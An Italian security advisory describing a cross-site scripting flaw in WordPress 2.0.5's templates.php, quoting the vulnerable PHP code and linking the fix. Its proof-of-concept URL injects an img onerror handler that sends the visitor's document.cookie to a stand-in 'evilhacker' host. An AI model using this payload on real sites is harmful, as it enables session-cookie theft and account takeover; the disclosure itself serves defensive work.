Wordpress: Vulnerabilità XSS

E' stata scoperta una nuova vulnerabilità Cross Site Scripting (XSS) nella versione 2.0.5 di Wordpress, la popolarissima piattaforma opensuorce per blog.

Codice vulnerabile:
wp-admin/templates.php:

[line 22]$recents = get_option('recently_edited');
[line 72]update_recently_edited($file);
[Line 116]:foreach ($recents as $recent) :
        echo "<li><a href='templates.php?file="
          . wp_specialchars($recent, true) . "'>"
          . get_file_description(basename($recent))
          . "</a></li>";

Funzione vulnerabile:

function get_file_description($file) {
        global $wp_file_descriptions;
        if (isset ($wp_file_descriptions[basename($file)])) {
                return $wp_file_descriptions[basename($file)];
        }
        elseif (file_exists(ABSPATH.$file)) {
                $template_data = implode('', file(ABSPATH.$file));
                if (preg_match("|Template Name:(.*)|i",
                   $template_data, $name))
                        return $name[1];
        }
        return basename($file);
}

Proof of concept:

https://blogsite/wp/wp-admin/templates.php?file=<img src=""
          onerror=javascript:document.location.href=
          'http://evilhacker/capturecookie.php?'+document.cookie;>

Wordpress ha fixato la vulnerabilità per la versione 2.0.5 e rilasciata una patch per la versione 2.0.6

Link: http://trac.wordpress.org/changeset/4665